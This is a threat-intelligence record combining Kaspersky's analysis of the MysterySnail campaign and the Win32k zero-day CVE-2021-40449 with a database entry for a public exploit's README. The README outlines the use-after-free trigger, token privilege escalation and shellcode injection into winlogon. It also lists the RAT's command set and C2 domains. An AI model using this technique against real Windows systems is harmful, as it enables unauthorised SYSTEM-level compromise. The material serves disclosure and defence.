ID SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038 Type securelist Reporter Boris Larin, Costin Raiu Modified 2021-10-12T17:07:08
Description
Executive Summary
In late August and early September 2021, Kaspersky technologies detected attacks with the use of an elevation of privilege exploit on multiple Microsoft Windows servers. The exploit had numerous debug strings from an older, publicly known exploit for vulnerability CVE-2016-3309, but closer analysis revealed that it was a zero-day. We discovered that it was using a previously unknown vulnerability in the Win32k driver and exploitation relies heavily on a technique to leak the base addresses of kernel modules. We promptly reported these findings to Microsoft. The information disclosure portion of the exploit chain was identified as not bypassing a security boundary, and was therefore not fixed. Microsoft assigned CVE-2021-40449 to the use-after-free vulnerability in the Win32k kernel driver and it was patched on October 12, 2021, as a part of the October Patch Tuesday.
Besides finding the zero-day in the wild, we analyzed the malware payload used along with the zero-day exploit, and found that variants of the malware were detected in widespread espionage campaigns against IT companies, military/defense contractors, and diplomatic entities.
We are calling this cluster of activity MysterySnail. Code similarity and re-use of C2 infrastructure we discovered allowed us to connect these attacks with the actor known as IronHusky and Chinese-speaking APT activity dating back to 2012.
Elevation of privilege exploit
The discovered exploit is written to support the following Windows products:
Microsoft Windows Vista
Microsoft Windows 7
Microsoft Windows 8
Microsoft Windows 8.1
Microsoft Windows Server 2008
Microsoft Windows Server 2008 R2
Microsoft Windows Server 2012
Microsoft Windows Server 2012 R2
Microsoft Windows 10 (build 14393)
Microsoft Windows Server 2016 (build 14393)
Microsoft Windows 10 (build 17763)
Microsoft Windows Server 2019 (build 17763)
The list of supported products and supported Windows 10 build numbers, explicit declaration of server OSs and the fact that exploits were only discovered in attacks on servers, all lead us to believe the exploit was developed and advertised as a solution to elevate privileges on servers.
CVE-2021-40449 is a use-after-free vulnerability in Win32k's NtGdiResetDC function. As with many other Win32k vulnerabilities, the root cause of this vulnerability lies in the ability to set user-mode callbacks and execute unexpected API functions during execution of those callbacks. The CVE-2021-40449 is triggered when the function ResetDC is executed a second time for the same handle during execution of its own callback. The exploitation process for this vulnerability is as follows:
A user-mode call to ResetDC executes syscall NtGdiResetDC and its inner function GreResetDCInternal. This function gets a pointer to a PDC object, and then performs a call to function hdcOpenDCW.
Function hdcOpenDCW performs a user-mode callback and it can be used to execute ResetDC for the same handle a second time.
If an exploit executes ResetDC during a callback, NtGdiResetDC and GreResetDCInternal are executed again for the same DC.
If an exploit ignores all the callbacks during the second call to GreResetDCInternal, this function will be executed as intended. It will create a new DC and get rid of the old one (the PDC object is destroyed).
In the callback, after the second ResetDC call has completed, the exploit can reclaim the freed memory of the PDC object and finish the execution of the callback.
After execution of the callback, function hdcOpenDCW returns to GreResetDCInternal, but the pointer retrieved in step (1) is now a dangling pointer – it points to the memory of the previously destroyed PDC object.
In the late stage of GreResetDCInternal execution, a malformed PDC object can be used to perform a call to an arbitrary kernel function with controlled parameters.
In the discovered exploit attackers are able to achieve the desired state of memory with the use of GDI palette objects and use a single call to a kernel function to build a primitive for reading and writing kernel memory. This step is easily accomplished, because the exploit process is running with Medium IL and therefore it's possible to use publicly known techniques to leak kernel addresses of currently loaded drivers/kernel modules. In our opinion, it would be preferable if the Medium IL processes had limited access to such functions as NtQuerySystemInformation or EnumDeviceDrivers.
MysterySnail RAT
Our deep dive into the MysterySnail RAT family started with an analysis of a previously unknown remote shell-type Trojan that was intended to be executed by an elevation of privilege exploit. The sample which we analyzed was also uploaded to VT on August 10, 2021. The sample is very big – 8.29MB. One of the reasons for the file size is that it's statically compiled with the OpenSSL library and contains unused code and data belonging to that library. But the main reason for its size is the presence of two very large functions that do nothing but waste processor clock cycles. These functions also "use" randomly generated strings that are also present in a binary.
Random strings used by anti-analysis functions
We assume these two functions are used as an AV-evasion technique for the purpose of anti-emulation. This theory is supported by the presence of other redundant logics and the presence of a relatively large number of exported functions while the real work is performed by only one of them.
Names of exported functions; the actual business logic is executed from function "GetInfo"
The sample has two hardcoded URLs present in plain text – "www[.]disktest[.]com" and "www[.]runblerx[.]com". They are put into class variables for intended use, but remain unused; the real C2 address is decoded by a single byte xor – "http[.]ddspadus[.]com".
The malware enumerates the values under the "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer" registry key and uses them to request tunneling through a proxy server in case it fails to connect to the C2 directly.
The malware itself is not very sophisticated and has functionality similar to many other remote shells. But it still somehow stands out, with a relatively large number of implemented commands and extra capabilities like monitoring for inserted disk drives and the ability to act as a proxy.
Inbound and outbound commands have the same binary-based format that is provided below. All communication is encrypted with SSL.
Offset | Description
---|---
0 | Size of additional data
4 | Session ID
8 | Command ID
0xC | Additional data
Format of communication commands
Before receiving any commands, the malware gathers and sends general information about the victim machine. This information includes:
Computer name
Current OEM code-page/default identifier
Windows product name
Local IP address
Logged-in user name
Campaign name
One interesting fact is that "Campaign name" by default is set to "windows". This name gets overwritten, but it might indicate there are versions of the same RAT compiled for other platforms.
In total, the RAT implements 20 commands. Their description and command IDs are provided in the table below.
Command ID | Description
---|---
1F4h | Launch interactive cmd.exe shell. Before launch cmd.exe is copied to the temp folder with a different name
1F5h | Spawn new process
1F6h | Spawn new process (console)
1F7h | Get existing disk drives and their type. This function also works in the background, checking for new drives
1F8h | Create (upload) new file. If a file exists, append data to it
1FAh | Get directory list
1FBh | Kill arbitrary process
1FFh | Delete file
202h | Read file. If the file is too big, async read operation can be stopped with cmd 20Ch.
205h | Re-connect
208h | Set sleep time (in ms)
209h | Shutdown network and exit
20Ah | Exit
20Bh | Kill interactive shell (created with cmd 1F4h)
20Ch | Terminate file reading operation (started with cmd 202h)
217h | No operation
21Bh | Open proxy'ed connection to provided host. Up to 50 simultaneous connections are supported.
21Ch | Send data to proxy'ed connection
21Eh | Close all proxy connections
21Fh | Close requested proxy connection
List of commands supported by the RAT
The analysis of the MysterySnail RAT helped us discover campaigns using other variants of the analyzed malware as well as study and document the code changes made to this tool over a six-month period. We provide more info about these variants and campaigns in our private report.
With the help of Kaspersky Threat Attribution Engine (KTAE) and the discovery of early variants of MysterySnail RAT we were able to find direct code and functionality overlap with the malware attributed to the IronHusky actor. We were also able to discover the re-use of C2 addresses used in attacks by the Chinese-speaking APT as far back as 2012. This discovery links IronHusky to some of the older known activities.
Kaspersky products detect the CVE-2021-40449 exploit and related malware with the verdicts:
PDM:Exploit.Win32.Generic
PDM:Trojan.Win32.Generic
Trojan.Win64.Agent*
Kaspersky products detected these attacks with the help of the Behavioral Detection Engine and the Exploit Prevention component. CVE-2021-40449 is the latest addition to the long list of zero-days discovered in the wild with the help of our technologies. We will continue to improve defenses for our users by enhancing technologies and working with third-party vendors to patch vulnerabilities, making the internet more secure for everyone.
More information about these attacks and the actor behind them is available to customers of the Kaspersky Intelligence Reporting service. Contact: intelreports@kaspersky.com.
Kaspersky would like to thank Microsoft for their prompt analysis of the report and patches.
{"id": "SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038", "type": "securelist", "bulletinFamily": "blog", "title": "MysterySnail attacks with Windows zero-day", "description": "\n\n## Executive Summary\n\nIn late August and early September 2021, Kaspersky technologies detected attacks with the use of an elevation of privilege exploit on multiple Microsoft Windows servers. The exploit had numerous debug strings from an older, publicly known exploit for vulnerability [CVE-2016-3309](<https://github.com/siberas/CVE-2016-3309_Reloaded/>), but closer analysis revealed that it was a zero-day. We discovered that it was using a previously unknown vulnerability in the Win32k driver and exploitation relies heavily on a technique to leak the base addresses of kernel modules. We promptly reported these findings to Microsoft. The information disclosure portion of the exploit chain was identified as not bypassing a security boundary, and was therefore not fixed. Microsoft assigned [CVE-2021-40449](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40449>) to the use-after-free vulnerability in the Win32k kernel driver and it was patched on October 12, 2021, as a part of the October Patch Tuesday.\n\nBesides finding the zero-day in the wild, we analyzed the malware payload used along with the zero-day exploit, and found that variants of the malware were detected in widespread espionage campaigns against IT companies, military/defense contractors, and diplomatic entities.\n\nWe are calling this cluster of activity MysterySnail. Code similarity and re-use of C2 infrastructure we discovered allowed us to connect these attacks with the actor known as IronHusky and Chinese-speaking APT activity dating back to 2012.\n\n## Elevation of privilege exploit\n\nThe discovered exploit is written to support the following Windows products:\n\n * Microsoft Windows Vista\n * Microsoft Windows 7\n * Microsoft Windows 8\n * Microsoft Windows 8.1\n * Microsoft Windows Server 2008\n * Microsoft Windows Server 2008 R2\n * Microsoft Windows Server 2012\n * Microsoft Windows Server 2012 R2\n * Microsoft Windows 10 (build 14393)\n * Microsoft Windows Server 2016 (build 14393)\n * Microsoft Windows 10 (build 17763)\n * Microsoft Windows Server 2019 (build 17763)\n\nThe list of supported products and supported Windows 10 build numbers, explicit declaration of server OSs and the fact that exploits were only discovered in attacks on servers, all lead us to believe the exploit was developed and advertised as a solution to elevate privileges on servers.\n\nCVE-2021-40449 is a use-after-free vulnerability in Win32k's NtGdiResetDC function. As with many other Win32k vulnerabilities, the root cause of this vulnerability lies in the ability to set user-mode callbacks and execute unexpected API functions during execution of those callbacks. The CVE-2021-40449 is triggered when the function ResetDC is executed a second time for the same handle during execution of its own callback. The exploitation process for this vulnerability is as follows:\n\n 1. A user-mode call to ResetDC executes syscall NtGdiResetDC and its inner function GreResetDCInternal. This function gets a pointer to a PDC object, and then performs a call to function hdcOpenDCW.\n 2. Function hdcOpenDCW performs a user-mode callback and it can be used to execute ResetDC for the same handle a second time.\n 3. If an exploit executes ResetDC during a callback, NtGdiResetDC and GreResetDCInternal are executed again for the same DC.\n 4. If an exploit ignores all the callbacks during the second call to GreResetDCInternal, this function will be executed as intended. It will create a new DC and get rid of the old one (the PDC object is destroyed).\n 5. In the callback, after the second ResetDC call has completed, the exploit can reclaim the freed memory of the PDC object and finish the execution of the callback.\n 6. After execution of the callback, function hdcOpenDCW returns to GreResetDCInternal, but the pointer retrieved in step (1) is now a dangling pointer \u2013 it points to the memory of the previously destroyed PDC object.\n 7. In the late stage of GreResetDCInternal execution, a malformed PDC object can be used to perform a call to an arbitrary kernel function with controlled parameters.\n\nIn the discovered exploit attackers are able to achieve the desired state of memory with the use of GDI palette objects and use a single call to a kernel function to build a primitive for reading and writing kernel memory. This step is easily accomplished, because the exploit process is running with Medium IL and therefore it's possible to use publicly known techniques to leak kernel addresses of currently loaded drivers/kernel modules. In our opinion, it would be preferable if the Medium IL processes had limited access to such functions as NtQuerySystemInformation or [EnumDeviceDrivers](<https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/>).\n\n## MysterySnail RAT\n\nOur deep dive into the MysterySnail RAT family started with an analysis of a previously unknown remote shell-type Trojan that was intended to be executed by an elevation of privilege exploit. The sample which we analyzed was also [uploaded](<https://www.virustotal.com/gui/file/b7fb3623e31fb36fc3d3a4d99829e42910cad4da4fa7429a2d99a838e004366e>) to VT on August 10, 2021. The sample is very big \u2013 8.29MB. One of the reasons for the file size is that it's statically compiled with the OpenSSL library and contains unused code and data belonging to that library. But the main reason for its size is the presence of two very large functions that do nothing but waste processor clock cycles. These functions also "use" randomly generated strings that are also present in a binary.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/10/11153312/MysterySnail_attacks_with_Windows_zero-day_01.png>)\n\n**_Random strings used by anti-analysis functions_**\n\nWe assume these two functions are used as an AV-evasion technique for the purpose of anti-emulation. This theory is supported by the presence of other redundant logics and the presence of a relatively large number of exported functions while the real work is performed by only one of them.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/10/11153357/MysterySnail_attacks_with_Windows_zero-day_02.png>)\n\n**_Names of exported functions; the actual business logic is executed from function "GetInfo"_**\n\nThe sample has two hardcoded URLs present in plain text \u2013 "www[.]disktest[.]com" and "www[.]runblerx[.]com". They are put into class variables for intended use, but remain unused; the real C2 address is decoded by a single byte xor \u2013 "http[.]ddspadus[.]com".\n\nThe malware enumerates the values under the "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer" registry key and uses them to request tunneling through a proxy server in case it fails to connect to the C2 directly.\n\nThe malware itself is not very sophisticated and has functionality similar to many other remote shells. But it still somehow stands out, with a relatively large number of implemented commands and extra capabilities like monitoring for inserted disk drives and the ability to act as a proxy.\n\nInbound and outbound commands have the same binary-based format that is provided below. All communication is encrypted with SSL.\n\n**Offset** | **Description** \n---|--- \n0 | Size of additional data \n4 | Session ID \n8 | Command ID \n0xC | Additional data \n \n**_Format of communication commands_**\n\nBefore receiving any commands, the malware gathers and sends general information about the victim machine. This information includes:\n\n * Computer name\n * Current OEM code-page/default identifier\n * Windows product name\n * Local IP address\n * Logged-in user name\n * Campaign name\n\nOne interesting fact is that "Campaign name" by default is set to "windows". This name gets overwritten, but it might indicate there are versions of the same RAT compiled for other platforms.\n\nIn total, the RAT implements 20 commands. Their description and command IDs are provided in the table below.\n\n**Command ID** | **Description** \n---|--- \n1F4h | Launch interactive cmd.exe shell. Before launch cmd.exe is copied to the temp folder with a different name \n1F5h | Spawn new process \n1F6h | Spawn new process (console) \n1F7h | Get existing disk drives and their type. This function also works in the background, checking for new drives \n1F8h | Create (upload) new file. If a file exists, append data to it \n1FAh | Get directory list \n1FBh | Kill arbitrary process \n1FFh | Delete file \n202h | Read file. If the file is too big, async read operation can be stopped with cmd 20Ch. \n205h | Re-connect \n208h | Set sleep time (in ms) \n209h | Shutdown network and exit \n20Ah | Exit \n20Bh | Kill interactive shell (created with cmd 1F4h) \n20Ch | Terminate file reading operation (started with cmd 202h) \n217h | No operation \n21Bh | Open proxy'ed connection to provided host. Up to 50 simultaneous connections are supported. \n21Ch | Send data to proxy'ed connection \n21Eh | Close all proxy connections \n21Fh | Close requested proxy connection \n \n**_List of commands supported by the RAT_**\n\nThe analysis of the MysterySnail RAT helped us discover campaigns using other variants of the analyzed malware as well as study and document the code changes made to this tool over a six-month period. We provide more info about these variants and campaigns in our private report.\n\nWith the help of Kaspersky Threat Attribution Engine (KTAE) and the discovery of early variants of MysterySnail RAT we were able to find direct code and functionality overlap with the malware attributed to the IronHusky actor. We were also able to discover the re-use of C2 addresses used in attacks by the Chinese-speaking APT as far back as 2012. This discovery links IronHusky to some of the older known activities.\n\nKaspersky products detect the CVE-2021-40449 exploit and related malware with the verdicts:\n\n * PDM:Exploit.Win32.Generic\n * PDM:Trojan.Win32.Generic\n * Trojan.Win64.Agent*\n\nKaspersky products detected these attacks with the help of the Behavioral Detection Engine and the Exploit Prevention component. CVE-2021-40449 is the latest addition to the long list of zero-days discovered in the wild with the help of our technologies. We will continue to improve defenses for our users by enhancing technologies and working with third-party vendors to patch vulnerabilities, making the internet more secure for everyone.\n\nMore information about these attacks and the actor behind them is available to customers of the Kaspersky Intelligence Reporting service. Contact: [intelreports@kaspersky.com](<mailto:intelreports@kaspersky.com>).\n\n_Kaspersky would like to thank Microsoft for their prompt analysis of the report and patches._\n\n## IoCs\n\nwww[.]disktest[.]com \nwww[.]runblerx[.]com \nhttp[.]ddspadus[.]com\n\nMD5 [e2f2d2832da0facbd716d6ad298073ca](<https://opentip.kaspersky.com/e2f2d2832da0facbd716d6ad298073ca/?utm_source=SL&utm_medium=SL&utm_campaign=SL>) \nSHA1 [ecdec44d3ce31532d9831b139ea04bf48cde9090](<https://opentip.kaspersky.com/ecdec44d3ce31532d9831b139ea04bf48cde9090/?utm_source=SL&utm_medium=SL&utm_campaign=SL>) \nSHA256 [b7fb3623e31fb36fc3d3a4d99829e42910cad4da4fa7429a2d99a838e004366e](<https://opentip.kaspersky.com/b7fb3623e31fb36fc3d3a4d99829e42910cad4da4fa7429a2d99a838e004366e/?utm_source=SL&utm_medium=SL&utm_campaign=SL>)", "published": "2021-10-12T17:07:08", "modified": "2021-10-12T17:07:08", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/", "reporter": "Boris Larin, Costin Raiu", "references": [], "cvelist": ["CVE-2016-3309", "CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-10-12T18:35:34", "viewCount": 21, "enchantments": {"dependencies": {"references": [{"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852"]}, {"type": "cve", "idList": ["CVE-2016-3309", "CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739", "CPAI-2016-0683"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449", "MS:CVE-2016-3309"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026", "1337DAY-ID-28749"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75", "RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "securelist", "idList": ["SECURELIST:1F59148E6615695438F94EF4956585AA"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS16-098.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006728.NASL"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA12309", "KLA12310", "KLA11908"]}], "modified": "2021-10-12T18:35:34", "rev": 2}, "score": {"value": 7.3, "vector": "NONE", "modified": "2021-10-12T18:35:34", "rev": 2}, "vulnersScore": 7.3}}
{"githubexploit": [{"id": "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "vendorId": null, "hash": "9fbe69fd18d9987762cc84940899838c", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for ['CVE-2021-40449']", "description": "# CallbackHell\n\nExploit for CVE-2021-40449 (Win32k - LPE)\n\n- [Ca...", "published": "2021-10-16T16:17:44", "modified": "2021-12-05T00:14:25", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "", "reporter": "", "references": [], "cvelist": ["CVE-2021-40449", "CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-12-05T05:09:40", "history": [{"bulletin": {"id": "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "vendorId": "GITHUBEXPL:LY4K-CALLBACKHELL", "hash": "6d87083d98a24cd2bb06f91c70075aa5", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for CVE-2021-40449", "description": "# CallbackHell\n\nExploit for CVE-2021-40449 (Win32k - LPE)\n\n- [CallbackHell](#callbackhell)\n - [Description](#description)\n - [Technical Writeup](#technical-writeup)\n - [PoC](#poc)\n - [References](#references)\n\n## Description\n\nCVE-2021-40449 is a use-after-free in Win32k that allows for local privilege escalation.\n\nThe vulnerability was found in the wild by [Kaspersky](https://www.kaspersky.com/blog/mysterysnail-cve-2021-40449/42448/).\n\nThe discovered exploit was written to support the following Windows products:\n - Microsoft Windows Vista\n - Microsoft Windows 7\n - Microsoft Windows 8\n - Microsoft Windows 8.1\n - Microsoft Windows Server 2008\n - Microsoft Windows Server 2008 R2\n - Microsoft Windows Server 2012\n - Microsoft Windows Server 2012 R2\n - Microsoft Windows 10 (build 14393)\n - Microsoft Windows Server 2016 (build 14393)\n - Microsoft Windows 10 (build 17763)\n - Microsoft Windows Server 2019 (build 17763)\n\nHowever, this exploit is current only tested on the following versions:\n - Microsoft Windows 10 (build 14393)\n - Microsoft Windows 10 (build 17763)\n\n## Technical Writeup\n\nI highly recommend reading Kaspersky's [technical writeup](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/) before proceeding.\n\nAs mentioned in the technical writeup by Kasperky, the vulnerability exists in `GreResetDCInternal`. If an attacker hooks the user-mode callback `DrvEnablePDEV`, which is called during `hdcOpenDCW`, it is possible to destroy the original device context by calling `ResetDC`, which causes a use-after-free in the kernel when the user-mode callback returns.\n\nThe following pseudo-code is made partially from the leaked Windows XP source code and by reverse-engineering the latest (before the patch) `GreResetDCInternal` from `Win32kfull.sys`. The irrelevant parts have been removed with `[...]`. Look for the `VULN: ` comments.\n```c\nBOOL GreResetDCInternal(\n HDC hdc,\n DEVMODEW *pdmw,\n BOOL *pbBanding,\n DRIVER_INFO_2W *pDriverInfo2,\n PVOID ppUMdhpdev)\n{\n // [...]\n HDC hdcNew;\n\n {\n // Create DCOBJ from HDC\n DCOBJ dco(hdc);\n\n if (!dco.bValid())\n {\n SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);\n }\n else\n {\n // Create DEVOBJ from `dco`\n PDEVOBJ po(dco.hdev());\n\n // [...]\n\n // Create the new DC\n // VULN: Can result in a usermode callback that destroys old DC, which\n // invalidates `dco` and `po`\n hdcNew = hdcOpenDCW(L\"\",\n pdmw,\n DCTYPE_DIRECT,\n po.hSpooler,\n prton,\n pDriverInfo2,\n ppUMdhpdev);\n\n if (hdcNew)\n {\n po->hSpooler = NULL;\n\n DCOBJ dcoNew(hdcNew);\n\n if (!dcoNew.bValid())\n {\n SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);\n }\n else\n {\n // Transfer any remote fonts\n\n dcoNew->pPFFList = dco->pPFFList;\n dco->pPFFList = NULL;\n\n // Transfer any color transform\n\n dcoNew->pCXFList = dco->pCXFList;\n dco->pCXFList = NULL;\n\n PDEVOBJ poNew((HDEV)dcoNew.pdc->ppdev());\n\n // Let the driver know\n // VULN: Method is taken from old (possibly destroyed) `po`\n PFN_DrvResetPDEV rfn = po->ppfn[INDEX_DrvResetPDEV];\n\n if (rfn != NULL)\n {\n (*rfn)(po->dhpdev, poNew->dhpdev);\n }\n\n // [...]\n }\n }\n }\n }\n\n // Destroy old DC\n // [...]\n}\n```\n\nAs can be seen from the pseudo-code, the old device context can be freed in a user-mode callback from the `hdcOpenDCW` call, and later on, the method `DrvResetPDEV` is retrieved from the old device context and called with `(po->dhpdev, poNew->dhpdev)`.\n\nTo create and hook a device context, one can do the following:\n\n- Find an available printer with `EnumPrinters`\n- Load the printer driver into memory with `OpenPrinter`, `GetPrinterDriver` and `LoadLibraryExA`\n- Get the printer driver's user-mode callback table with `GetProcAddress` and `DrvEnableDriver`\n- Unprotect the printer driver's user-mode callback table with `VirtualProtect`\n- Overwrite the printer driver's desired user-mode callback table entries\n- Create a device context for the printer with `CreateDC(NULL, printerName, NULL, NULL)`\n\nWe should now have a device context for a printer with hooked user-mode callbacks.\n\nWe're interested in only one hook, namely `DrvEnablePDEV`. This hook is interesting in two aspects: triggering the UAF and controlling the arguments, as described earlier. To trigger the UAF vulnerability, we will call `ResetDC` inside of the hook, which will destroy the old device context. When we return from the hook, we will still be inside the first `GreResetDCInternal`, which will shortly after get and call the function pointer for `DrvResetPDEV` from our old and destroyed device context with the two arguments that got returned from `DrvEnablePDEV`; the old and the new `DHPDEV`.\n\nIf your process is running with a medium integrity level, KASLR should not be an issue with the help of `EnumDeviceDrivers` and `NtQuerySystemInformation`. \n\nKaspersky mentions that the original exploit used GDI palette objects and a single kernel function call to achieve arbitrary memory read/write. This exploit uses [a technique to allocate a BitMapHeader on the big pool](https://blahcat.github.io/2019/03/17/small-dumps-in-the-big-pool/) and `RtlSetAllBits` to enable all privileges on our current process token. The `BitMapHeader` will point to our current process token's `_SEP_TOKEN_PRIVILEGES`. By calling `RtlSetAllBits(BitMapHeader)`, it's possible to enable all privileges for our current process token with a single kernel function call. From here, one can abuse the new privileges to get SYSTEM. This exploit uses `SeDebugPrivilege` to inject shellcode into the `winlogon.exe` process.\n\n## PoC\n\n\n\n## References\n\n- [https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/)\n- [https://github.com/siberas/CVE-2016-3309_Reloaded/](https://github.com/siberas/CVE-2016-3309_Reloaded/)\n- [https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)\n- [https://github.com/KaLendsi/CVE-2021-40449-Exploit](https://github.com/KaLendsi/CVE-2021-40449-Exploit)\n- [https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ](https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ)\n", "published": "2021-10-16T16:17:44", "modified": "2021-11-02T11:10:31", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://github.com/ly4k/CallbackHell", "reporter": "ly4k", "references": [], "cvelist": ["CVE-2016-3309", "CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-02T13:26:07", "history": [], "viewCount": 1, "enchantments": {}, "objectVersion": "1.6"}, "lastseen": "2021-11-02T13:26:07", "differentElements": ["modified"], "edition": 1}, {"bulletin": {"id": "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "vendorId": "GITHUBEXPL:LY4K-CALLBACKHELL", "hash": "1f30e576e5a6202d17f7ab61744e760f", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for CVE-2021-40449", "description": "# CallbackHell\n\nExploit for CVE-2021-40449 (Win32k - LPE)\n\n- [CallbackHell](#callbackhell)\n - 